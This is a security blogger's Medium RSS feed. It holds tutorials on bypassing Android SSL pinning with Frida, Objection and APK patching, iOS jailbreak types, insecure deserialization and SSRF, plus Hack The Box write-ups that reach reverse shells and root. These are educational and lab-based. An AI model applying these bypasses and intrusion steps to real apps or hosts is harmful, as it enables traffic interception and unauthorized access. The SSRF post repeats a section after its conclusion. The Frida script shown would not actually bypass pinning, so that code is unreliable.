<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dheeraj Deshmukh on Medium]]></title>
        <description><![CDATA[Stories by Dheeraj Deshmukh on Medium]]></description>
        <link>https://medium.com/@dheerajdeshmukh?source=rss-146858c3eb55------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*WstLcZfKKBqr2emo</url>
            <title>Stories by Dheeraj Deshmukh on Medium</title>
            <link>https://medium.com/@dheerajdeshmukh?source=rss-146858c3eb55------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 13:20:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dheerajdeshmukh/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SSL Pinning Bypass]]></title>
            <link>https://dheerajdeshmukh.medium.com/ssl-pinning-bypass-bc6284a0856e?source=rss-146858c3eb55------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc6284a0856e</guid>
            <category><![CDATA[android-testing]]></category>
            <category><![CDATA[ssl-pinning]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <dc:creator><![CDATA[Dheeraj Deshmukh]]></dc:creator>
            <pubDate>Wed, 12 Mar 2025 05:37:25 GMT</pubDate>
            <atom:updated>2025-03-12T05:37:25.727Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>SSL/TLS pinning is a security mechanism implemented in mobile applications to prevent man-in-the-middle (MITM) attacks. It ensures that the app only trusts a predefined certificate rather than any certificate issued by a trusted CA. While SSL pinning enhances security, attackers and security testers often need to bypass it for penetration testing, security assessments, or API testing.</p><p>In this blog, we will explore how SSL pinning works, different bypass techniques, and how to mitigate such attacks.</p><h3>How SSL Pinning Works</h3><p>When a mobile app makes a secure connection to a server, it verifies the server’s SSL/TLS certificate. Normally, this verification relies on the device’s list of trusted certificate authorities (CAs). However, SSL pinning restricts trust to a specific certificate, preventing attackers from using their own CA certificates to intercept traffic.</p><h3>Types of SSL Pinning:</h3><ol><li><strong>Certificate Pinning:</strong> The app checks if the server’s certificate matches a hardcoded certificate.</li><li><strong>Public Key Pinning:</strong> The app verifies if the server’s public key matches the expected key.</li><li><strong>Subject Public Key Info (SPKI) Pinning:</strong> The app extracts and validates the public key from the server’s certificate.</li></ol><h3>Techniques to Bypass SSL Pinning</h3><h3>1. Using Frida (Runtime Hooking)</h3><p>Frida is a powerful tool that allows injecting JavaScript to manipulate running processes. To bypass SSL pinning:</p><h4>Steps:</h4><ol><li>Install Frida on your machine and the target device.</li><li>Run the following Frida script to hook SSL pinning functions:</li></ol><pre>frida -U -n com.target.app -s ssl_bypass.js --no-pause</pre><ul><li>frida -U -n com.target.app -s ssl_bypass.js --no-pause</li></ul><p>3. Use a script like the following to bypass SSL pinning:</p><pre>Java.perform(function () {     var SSLContext = Java.use(&quot;javax.net.ssl.SSLContext&quot;);     SSLContext.init.implementation = function (a, b, c) {         console.log(&quot;Bypassing SSL Pinning&quot;);         this.init(a, b, c);     }; });</pre><h3>2. Using Objection (Frida-based tool)</h3><p>Objection simplifies Frida scripting with ready-to-use functionalities.</p><h4>Steps:</h4><ol><li>Install Objection: pip install objection</li><li>Attach to the app: objection -g com.target.app explore</li><li>Bypass SSL pinning: android sslpinning disable</li></ol><h3>3. Custom Certificate Installation with Rooted Device</h3><p>On a rooted Android device, SSL pinning can be bypassed by adding a custom CA certificate.</p><h4>Steps:</h4><ol><li>Install Burp Suite or mitmproxy.</li><li>Use Magisk and install <strong>JustTrustMe</strong> or <strong>SSLUnpinning</strong> modules.</li><li>Redirect traffic using a proxy and inspect API requests.</li></ol><h3>4. Modifying the APK (Decompiling &amp; Recompiling)</h3><p>If Frida is not an option, another approach is to modify the APK to remove SSL pinning.</p><h4>Steps:</h4><ol><li>Decompile the APK using JADX or APKTool: apktool d app.apk</li><li>Locate SSL pinning code (e.g., OkHttpClient, TrustManager).</li><li>Modify the code to disable pinning.</li><li>Recompile and sign the APK: apktool b app</li></ol><h3>5. Xposed Framework (Rooted Devices)</h3><p>Using Xposed modules like SSLUnpinning can help in bypassing SSL pinning without modifying the APK.</p><h4>Steps:</h4><ol><li>Install Xposed Framework.</li><li>Install SSLUnpinning module and enable it.</li><li>Reboot the device and capture traffic.</li></ol><h3>Mitigation Strategies</h3><p>To prevent attackers from bypassing SSL pinning, implement the following security measures:</p><ol><li><strong>Use Multiple SSL Pinning Techniques</strong> — Combining certificate pinning with public key pinning increases security.</li><li><strong>Detect Frida and Debugging Tools</strong> — Implement runtime checks to prevent hooking frameworks.</li><li><strong>Obfuscate SSL Pinning Code</strong> — Make it harder to locate and modify SSL verification logic.</li><li><strong>Use Secure Enclaves for Key Storage</strong> — Store pinned certificates in a secure enclave instead of hardcoding them.</li><li><strong>Perform App Integrity Checks</strong> — Ensure the app is not modified using integrity verification mechanisms.</li></ol><h3>Conclusion</h3><p>SSL pinning bypass is a critical aspect of mobile application security testing. While it enhances security, attackers have various techniques to bypass it. Understanding these techniques helps security professionals strengthen defenses and protect sensitive data.</p><p>By implementing strong SSL pinning mechanisms and detecting tampering attempts, developers can prevent unauthorized access and ensure secure communication between the mobile app and the backend server.</p><p>Stay secure and happy hacking! 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc6284a0856e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Types of Jailbreak]]></title>
            <link>https://dheerajdeshmukh.medium.com/types-of-jailbreak-0cf37770646d?source=rss-146858c3eb55------2</link>
            <guid isPermaLink="false">https://medium.com/p/0cf37770646d</guid>
            <category><![CDATA[ios-testing]]></category>
            <category><![CDATA[mobile-security]]></category>
            <dc:creator><![CDATA[Dheeraj Deshmukh]]></dc:creator>
            <pubDate>Wed, 15 Jan 2025 06:24:50 GMT</pubDate>
            <atom:updated>2025-01-15T06:24:50.836Z</atom:updated>
            <content:encoded><![CDATA[<h3>Types of Jailbreak: A Comprehensive Guide</h3><p>Jailbreaking is the process of removing restrictions imposed by Apple on iOS devices, allowing users to gain root access, install third-party apps, and customize their devices beyond the limitations of the App Store. Different types of jailbreaking methods are available, each with its own unique characteristics and use cases. This blog explores the various types of jailbreaks, their functionality, and the scenarios in which they are applicable.</p><h3>1. Untethered Jailbreaking</h3><h3>Definition</h3><p>An untethered jailbreak is a permanent jailbreak that does not require any assistance to maintain its functionality after a device is rebooted. Once applied, the device remains jailbroken permanently until the firmware is updated or restored.</p><h3>Key Features</h3><ul><li>The jailbreak persists even after the device is restarted.</li><li>No need to connect the device to a computer to reapply the jailbreak.</li><li>Stable and convenient for end users.</li></ul><h3>Examples</h3><ul><li><strong>Evasi0n</strong> (for iOS 6)</li><li><strong>Pangu</strong> (for iOS 7)</li></ul><h3>Use Case</h3><p>Untethered jailbreaks are ideal for users looking for a hassle-free and permanent solution. However, these are rare for newer iOS versions due to Apple’s enhanced security measures.</p><h3>2. Tethered Jailbreaking</h3><h3>Definition</h3><p>A tethered jailbreak requires the device to be connected to a computer every time it is restarted. Without this connection, the device will boot into a non-jailbroken state or may become unusable until re-jailbroken.</p><h3>Key Features</h3><ul><li>Requires a computer to boot into the jailbroken state after a restart.</li><li>Inconvenient for daily use but may serve advanced testing or experimental purposes.</li></ul><h3>Examples</h3><p>Tethered jailbreaks are mostly historical and are not commonly used for modern iOS devices.</p><h3>Use Case</h3><p>Suitable for developers or advanced users experimenting with older iOS versions.</p><h3>3. Semi-Tethered Jailbreaking</h3><h3>Definition</h3><p>In a semi-tethered jailbreak, the device boots into a normal state after a restart. However, users need to use a specific app or tool on their computer to reapply the jailbreak.</p><h3>Key Features</h3><ul><li>The device functions normally after a restart, but without jailbreak capabilities.</li><li>A computer is required to reactivate the jailbreak.</li></ul><h3>Examples</h3><ul><li><strong>Checkra1n</strong> (for iOS 12–14.8)</li></ul><h3>Use Case</h3><p>This method balances convenience and security, making it popular for devices compatible with tools like Checkra1n.</p><h3>4. Semi-Untethered Jailbreaking</h3><h3>Definition</h3><p>A semi-untethered jailbreak allows the device to reboot without a computer. However, after a restart, users need to reapply the jailbreak using an app on the device itself.</p><h3>Key Features</h3><ul><li>Device boots normally after a restart but without jailbreak features.</li><li>Users can reactivate the jailbreak without a computer.</li></ul><h3>Examples</h3><ul><li><strong>Unc0ver</strong> (for iOS 11–14.3)</li><li><strong>Odyssey</strong> (for iOS 13–13.7)</li></ul><h3>Use Case</h3><p>Ideal for users who want flexibility and don’t want to rely on a computer for reapplying the jailbreak.</p><h3>5. Rootless Jailbreaking</h3><h3>Definition</h3><p>Rootless jailbreaking allows some level of customization and tweaks but does not provide full root access to the device’s file system. This method is more secure and stable compared to traditional jailbreaks.</p><h3>Key Features</h3><ul><li>Limited access to the file system.</li><li>Focused on applying tweaks without compromising security.</li></ul><h3>Examples</h3><ul><li><strong>Dopamine</strong> (for iOS 15)</li><li><strong>XinaA15</strong> (for iOS 15)</li></ul><h3>Use Case</h3><p>Best suited for users who want some jailbreak functionalities without sacrificing security and stability.</p><h3>6. Online Jailbreaking</h3><h3>Definition</h3><p>Online jailbreaks are performed directly on the device using a web browser or an app, without needing a computer.</p><h3>Key Features</h3><ul><li>No computer required for the jailbreak process.</li><li>Often less reliable due to Apple’s frequent patching.</li></ul><h3>Examples</h3><ul><li><strong>JailbreakMe</strong> (for older iOS versions)</li></ul><h3>Use Case</h3><p>Convenient for beginners or users without access to a computer, though often limited in compatibility and stability.</p><h3>Conclusion</h3><p>Choosing the right jailbreak method depends on your iOS version, device compatibility, and the level of customization you need. While untethered jailbreaks offer the most convenience, semi-untethered methods like Unc0ver or semi-tethered tools like Checkra1n are more common for modern devices. Always ensure you follow trusted guides and take necessary precautions, like backing up your data, before attempting any jailbreak.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0cf37770646d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Insecure Deserialization Vulnerability]]></title>
            <link>https://dheerajdeshmukh.medium.com/insecure-deserialization-vulnerability-e0e89af673a6?source=rss-146858c3eb55------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0e89af673a6</guid>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vapt]]></category>
            <dc:creator><![CDATA[Dheeraj Deshmukh]]></dc:creator>
            <pubDate>Thu, 10 Oct 2024 08:43:00 GMT</pubDate>
            <atom:updated>2024-10-10T08:43:00.517Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>When it comes to software security, there are many types of vulnerabilities that can put applications at risk. One significant issue is <strong>insecure deserialization</strong>. This happens when an application converts data back into an object (deserialization) without properly checking it first. This oversight can allow attackers to change how the application behaves, run harmful code, or access sensitive information. In this blog, we’ll break down what deserialization is, how insecure deserialization vulnerabilities happen, the risks they pose, and how to prevent them.</p><h3>What is Deserialization?</h3><p><strong>Deserialization</strong> is the process of turning data from a saved format back into an object in memory. This is often necessary for:</p><ul><li><strong>Storing Data</strong>: Keeping objects in files or databases.</li><li><strong>Sending Data</strong>: Transmitting objects over the internet.</li><li><strong>User Sessions</strong>: Saving user information for login sessions.</li></ul><p>Common formats for serialized data include JSON, XML, and binary formats. While deserialization is essential for many applications, it becomes risky when it involves data from untrusted sources.</p><h3>How Insecure Deserialization Happens</h3><p>Insecure deserialization vulnerabilities occur when an application accepts data from users or external sources and deserializes it without proper checks. Here’s a simple overview of how this can unfold:</p><ol><li><strong>Receiving Input</strong>: The application gets serialized data from a user or another source.</li><li><strong>Deserialization</strong>: The application then converts this data back into an object without validating it.</li><li><strong>Manipulation</strong>: An attacker alters the serialized data to include harmful commands.</li><li><strong>Execution</strong>: When the altered data is deserialized, it can lead to serious security issues, like running unwanted code or changing application settings.</li></ol><h3>Example</h3><p>Imagine a web application that lets users upload their preferences as a serialized object. If the application directly deserializes this data without checks, an attacker could upload a malicious object that, once deserialized, performs dangerous actions.</p><h3>Risks of Insecure Deserialization</h3><p>The risks of insecure deserialization can be severe, including:</p><ul><li><strong>Remote Code Execution (RCE)</strong>: Attackers can run any code they want on the server, potentially taking full control.</li><li><strong>Denial of Service (DoS)</strong>: Malicious data can crash the application or server.</li><li><strong>Data Manipulation</strong>: Attackers may alter or access sensitive data.</li><li><strong>Bypassing Authentication</strong>: Attackers could trick the application into granting them access without proper credentials.</li></ul><h3>Real-World Examples</h3><p>Several incidents have shown how dangerous insecure deserialization can be:</p><ol><li><strong>Java Applications</strong>: Java’s built-in serialization has vulnerabilities that attackers can exploit. For instance, a well-known issue involved the Apache Commons Collections library, where attackers could run arbitrary code.</li><li><strong>PHP Applications</strong>: PHP has a unserialize() function that can be vulnerable if not handled properly. Attackers can manipulate serialized data to execute harmful functions.</li><li><strong>APIs</strong>: Any API that accepts serialized data (like JSON Web Tokens) can be at risk if it doesn’t check the data’s integrity.</li></ol><h3>How to Prevent Insecure Deserialization</h3><p>To protect your application from insecure deserialization, consider these strategies:</p><h3>1. Validate Input</h3><p>Always check and sanitize incoming data before deserialization. Ensure it matches expected formats and types.</p><h3>2. Use Safe Libraries</h3><p>Whenever possible, use libraries that offer safer serialization methods, preventing arbitrary code execution.</p><h3>3. Add Integrity Checks</h3><p>Use cryptographic methods (like HMAC) to verify that serialized data hasn’t been tampered with. This means creating a hash of the data that you can check later.</p><h3>4. Limit Serialization Use</h3><p>Try to reduce the need for serialization, especially for sensitive data. Where possible, use safer alternatives like JSON.</p><h3>5. Monitor Deserialization Events</h3><p>Keep track of deserialization activities. Logging unusual patterns can help you catch potential attacks early.</p><h3>6. Conduct Regular Audits</h3><p>Regularly check your application for security issues, including deserialization vulnerabilities.</p><h3>Conclusion</h3><p>Insecure deserialization is a serious vulnerability that can lead to unauthorized access and system takeovers. By understanding how it works and taking steps to protect your applications, you can significantly reduce the risk of attacks. Remember, staying informed about security threats and regularly updating your practices is crucial for keeping your applications safe.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0e89af673a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server-Side Request Forgery (SSRF)]]></title>
            <link>https://dheerajdeshmukh.medium.com/server-side-request-forgery-ssrf-5b1c2d923c0e?source=rss-146858c3eb55------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b1c2d923c0e</guid>
            <dc:creator><![CDATA[Dheeraj Deshmukh]]></dc:creator>
            <pubDate>Mon, 09 Sep 2024 04:41:03 GMT</pubDate>
            <atom:updated>2024-09-09T04:41:03.422Z</atom:updated>
            <content:encoded><![CDATA[<p>Server-Side Request Forgery (SSRF) is a critical web vulnerability that has gained increased attention due to its potential for exploitation and the severe impacts it can have on applications and infrastructure. This blog aims to provide a comprehensive overview of SSRF vulnerabilities, how they work, their potential impacts, and effective strategies for mitigating them.</p><h3>What is SSRF (Server-Side Request Forgery)?</h3><p>SSRF is a type of vulnerability that allows an attacker to make requests from the server where the vulnerable application is hosted. Essentially, it tricks the server into making HTTP requests on behalf of the attacker. This can lead to unauthorized access to internal resources, exposure of sensitive information, and even compromise of the server itself.</p><h3>How SSRF Vulnerabilities Work</h3><ol><li><strong>Input Manipulation</strong>: An attacker inputs a URL or IP address into a field that the application uses to make requests. If the application does not properly validate or sanitize this input, it can be used to send requests to internal or external services.</li><li><strong>Internal Resource Access</strong>: The server, now acting as a proxy, can access internal resources that are not directly exposed to the public. This can include internal APIs, databases, metadata services, or other sensitive endpoints.</li><li><strong>Exploitation</strong>: The attacker can use SSRF to perform various malicious actions, such as:</li></ol><ul><li>Accessing internal services and retrieving sensitive data.</li><li>Bypassing firewall rules or security groups.</li><li>Scanning internal networks for further vulnerabilities.</li><li>Exploiting other vulnerabilities on internal services.</li></ul><h3>Examples of SSRF Exploitation</h3><ol><li><strong>Accessing Internal Services</strong>: Suppose an application allows users to submit URLs for fetching data. An attacker might submit a URL like http://localhost/admin to access an internal admin interface not meant for public access.</li><li><strong>Metadata Service Exploitation</strong>: In cloud environments (like AWS), SSRF can be used to access metadata services that provide sensitive information, such as instance credentials or configuration details.</li><li><strong>Port Scanning</strong>: By manipulating requests, attackers can use SSRF to perform port scanning on internal networks to identify other vulnerable services.</li></ol><h3>Impacts of SSRF Vulnerabilities</h3><ol><li><strong>Data Breach</strong>: SSRF can lead to unauthorized access to sensitive information, including internal APIs, databases, or configuration files.</li><li><strong>Privilege Escalation</strong>: Attackers may gain access to internal services and perform actions they should not be able to, potentially leading to privilege escalation.</li><li><strong>Denial of Service (DoS)</strong>: Malicious requests generated through SSRF can overwhelm internal services or resources, leading to service disruptions.</li><li><strong>Full Server Compromise</strong>: In some cases, SSRF vulnerabilities can lead to full server compromise, especially if they allow access to metadata services or if the server has misconfigured permissions.</li></ol><h3>How to Mitigate SSRF Vulnerabilities</h3><ol><li><strong>Validate and Sanitize Input</strong>: Always validate and sanitize user inputs to ensure that they conform to expected formats. Reject or properly handle inputs that are not in the allowed list or that contain suspicious patterns.</li></ol><pre>def is_valid_https://medium.com/url(url):<br> # Implement validation logic to check for allowed domains and protocols<br> return url.startswith(‘http://&#39;) or url.startswith(‘https://&#39;)</pre><p>2. <strong>Restrict Internal Network Access</strong>: Implement network-level controls to restrict outbound requests from your application server to internal resources. Use firewalls or security groups to limit access to sensitive internal services.</p><p><strong>3. Use Whitelisting</strong>: Implement a whitelist of allowed domains or IP addresses that the server can make requests to. This prevents unauthorized access to internal services and other sensitive endpoints.</p><pre>ALLOWED_DOMAINS = [‘example.com’, ‘api.example.com’]<br><br>def is_allowed_domain(url):<br> # Extract domain from URL and check against the whitelist<br> domain = extract_domain(url)<br> return domain in ALLOWED_DOMAINS</pre><p><strong>4. Disable Unnecessary Services</strong>: If your application does not require certain internal services or network capabilities, disable them to reduce the attack surface.</p><p><strong>5. Monitor and Log Requests</strong>: Implement logging and monitoring to detect unusual or unauthorized requests. Regularly review logs to identify potential SSRF attempts or other suspicious activity.</p><p><strong>6. Use Secure Coding Practices</strong>: Follow secure coding practices and regularly update your dependencies to avoid known vulnerabilities that could be exploited in conjunction with SSRF.</p><p><strong>7. Implement Web Application Firewalls (WAF)</strong>: A WAF can help detect and block malicious requests, including those attempting to exploit SSRF vulnerabilities.</p><p><strong>8. Conduct Regular Security Testing</strong>: Regularly perform security assessments, including penetration testing and vulnerability scanning, to identify and address SSRF and other security issues.</p><h3>Conclusion</h3><p>SSRF vulnerabilities pose significant risks to applications and infrastructure, with the potential for unauthorized access, data breaches, and server compromise. Understanding how SSRF works and implementing robust mitigation strategies are crucial for securing your applications and protecting sensitive information.</p><p>By validating and sanitizing inputs, restricting internal network access, and following best practices for security, you can effectively reduce the risk of SSRF vulnerabilities and enhance the overall security of your applications. Stay vigilant, keep your security measures up-to-date, and continuously assess your applications for potential vulnerabilities to safeguard against SSRF and other threats.</p><ol><li><strong>Full Server Compromise</strong>: In some cases, SSRF vulnerabilities can lead to full server compromise, especially if they allow access to metadata services or if the server has misconfigured permissions.</li></ol><h3>How to Mitigate SSRF Vulnerabilities</h3><ol><li><strong>Validate and Sanitize Input</strong>: Always validate and sanitize user inputs to ensure that they conform to expected formats. Reject or properly handle inputs that are not in the allowed list or that contain suspicious patterns.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b1c2d923c0e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Knife HTB Writeup — In Short]]></title>
            <link>https://dheerajdeshmukh.medium.com/knife-htb-writeup-in-short-77444fed23c3?source=rss-146858c3eb55------2</link>
            <guid isPermaLink="false">https://medium.com/p/77444fed23c3</guid>
            <category><![CDATA[hack-the-box-writeup]]></category>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Dheeraj Deshmukh]]></dc:creator>
            <pubDate>Mon, 12 Aug 2024 05:01:22 GMT</pubDate>
            <atom:updated>2024-08-12T05:05:25.587Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*IPQjnxqq-ftZUAWjhnHgow.png" /><figcaption>image from hack the box</figcaption></figure><h3>Scanning</h3><p>Namp port scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*iK3r0HFEZu2W9TftVP6ohw.png" /></figure><p>Nmap version detection</p><p>COMMAND :-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*t9tRxCof9zTcWpoaMpTzCA.png" /></figure><p>OUTPUT :-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5qcJiLnJ0dTh-fzYf-CaRg.png" /></figure><p>Versions not seems to be vulnerable</p><h3><strong>Enumerate Port Port 80</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DXcuES8hs-r8c3frtaGWnw.png" /></figure><p>On analyzing source code of this page we get nothing special .</p><h4>Dirsearch :</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vHOox3_q9eutOniKy5zbIw.png" /></figure><p>Didn’t get anything useful <strong><em>/index.php/login</em></strong> again redirect us to the index page .</p><h4>Gobuster :-</h4><p>Didnt get any directory with the wordlist 2.3 medium</p><p>Whatweb :-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iUx6if7P_OTB0G9qSD6mHQ.png" /></figure><p>We get vrsion of apache which is not vulnerable and version of php</p><p>Let search for the version of the php 8.1.0-dev</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*_GvHdMZ0Tx63Fq2p1gy_cA.png" /></figure><p>We get one exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*moEK3uZMV2zUgvZSYUwNWg.png" /></figure><p>Copy the exploit and place it into python file and run it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*29nVPQl0kM_NvhUIO4nn9A.png" /></figure><p>Command sucessfully run on this</p><p>nc is available use rev shell to get connection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cGhUyWrmP2k4iYu0gRh6ZQ.png" /></figure><p>netcat rm shell works on it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*9xJe8b7SWdm-QgaJGn14Rg.png" /></figure><p>Get shell of james user which is not a tty convert it into tty</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*55PYTXjuc8N4o--ra9R3Fw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*ivUuZArIDl7POHY2KmkNaw.png" /></figure><p>get user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*aBzKCNhsAcHEymuVCg6S9A.png" /></figure><p>Now we have to root this machine use sudo -l to know sudo permissions available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*yEKBioln3Wa2XNohofNCjA.png" /></figure><p>Knife is available on running this we get lots of command to ru but the most attracted command it exec whic means it may execute something .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*cLok-1uiXbldPSVDchjlvg.png" /></figure><p>Search on google for this .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*7XGm3jTGHveG43Y8eEdteA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*kAHa43gfZW0_GMSolEUAdA.png" /></figure><p>We can run ruby file with this command , So it means we can run this ruby script with sudo privileges. let search for the ruby shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*SVucW0DMrdl8Z15x2aWX6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*W9fESh1Dk2ZETK1NcYiDGQ.png" /></figure><p>Download this and change the LHOST AND LPORT inside the script and placed this shell on the target using python server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*mWtvpu-D8Ba9RoBRMugFBA.png" /></figure><p>Now grab the reverse shell at given port</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*WJJtf_Bn5m1VGFNuxIK5ww.png" /></figure><p>Finally we get a root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*dfx24ZpArlUmz9GogM5BTQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77444fed23c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Luanne Walkthrough ️]]></title>
            <link>https://dheerajdeshmukh.medium.com/luanne-walkthrough-%EF%B8%8F-ea85dcd5118e?source=rss-146858c3eb55------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea85dcd5118e</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Dheeraj Deshmukh]]></dc:creator>
            <pubDate>Sat, 27 Mar 2021 17:49:14 GMT</pubDate>
            <atom:updated>2021-03-30T07:10:13.706Z</atom:updated>
            <content:encoded><![CDATA[<h3>☠️ Hack The Box ☠️</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*PDU4CcbnplTJzemNLkMmVQ.png" /></figure><p>Hello everyone..!! This is Walkthrough of the Luanne Machine which is now retired . Luanne Machine is rated difficulty level as easy , its release date is 28 Nov 2020 and retired date is 27 Mar 2021. Ip of the machine is 10.10.10.218 . Let Start…</p><h3>Port Scanning : Nmap</h3><p><strong>Command :</strong></p><pre><strong><em>nmap -v -sC -sT -sV -A -p- 10.10.10.218</em></strong></pre><p><strong>Output :</strong></p><pre>PORT STATE SERVICE VERSION<br><strong>22/tcp</strong> open ssh OpenSSH 8.0 (<strong>NetBSD</strong> 20190418-hpn13v14-lpk; protocol 2.0)<br>| ssh-hostkey: <br>| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)<br>| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)<br>|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)<br><strong>80/tcp</strong> open http nginx 1.19.0<br>| http-auth: <br>| HTTP/1.1 401 Unauthorized\x0D<br>|_ Basic realm=.<br>| http-methods: <br>|_ Supported Methods: GET HEAD POST<br>| http-robots.txt: 1 disallowed entry <br>|_/weather<br>|_http-server-header: nginx/1.19.0<br>|_http-title: 401 Unauthorized<br><strong>9001/tcp open </strong>http Medusa httpd 1.12 (Supervisor process manager)<br>| http-auth: <br>| HTTP/1.1 401 Unauthorized\x0D<br>|_ Basic realm=default<br>|_http-server-header: Medusa/1.12<br>|_http-title: Error response<br>No exact OS matches for host (If you know what OS is running on it, see <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> ).<br>TCP/IP fingerprint:<br>OS:SCAN(V=7.80%E=4%D=3/27%OT=22%CT=1%CU=31120%PV=Y%DS=2%DC=T%G=Y%TM=605E2D9<br>OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=D8%GCD=1%ISR=DC%TI=Z%CI=Z%II=I)OPS(O1=M54<br>OS:DNW3ST11%O2=M54DNW3ST11%O3=M54DNW3NNT11%O4=M54DNW3ST11%O5=M54DNW3ST11%O6<br>OS:=M54DST11)WIN(W1=8000%W2=8000%W3=8000%W4=8000%W5=8000%W6=8000)ECN(R=Y%DF<br>OS:=Y%T=40%W=8000%O=M54DNW3SLL%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%<br>OS:Q=)T2(R=Y%DF=N%T=40%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=40%W=8000%<br>OS:S=O%A=S+%F=AS%O=M54DNW3ST11%RD=0%Q=)T4(R=Y%DF=N%T=40%W=0%S=A%A=Z%F=R%O=%<br>OS:RD=0%Q=)T5(R=Y%DF=N%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=N%T=40%W<br>OS:=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=N%T=40%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)U<br>OS:1(R=Y%DF=N%T=FF%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI<br>OS:=N%T=FF%CD=S)</pre><pre>Uptime guess: 0.001 days (since Sat Mar 27 00:21:41 2021)<br>Network Distance: 2 hops<br>TCP Sequence Prediction: Difficulty=213 (Good luck!)<br>IP ID Sequence Generation: All zeros<br>Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd</pre><pre>TRACEROUTE (using proto 1/icmp)<br>HOP RTT ADDRESS<br>1 216.70 ms 10.10.14.1<br>2 216.88 ms luanne.htb (10.10.10.218)</pre><pre>NSE: Script Post-scanning.<br>Initiating NSE at 00:23<br>Completed NSE at 00:23, 0.00s elapsed<br>Initiating NSE at 00:23<br>Completed NSE at 00:23, 0.00s elapsed<br>Initiating NSE at 00:23<br>Completed NSE at 00:23, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please 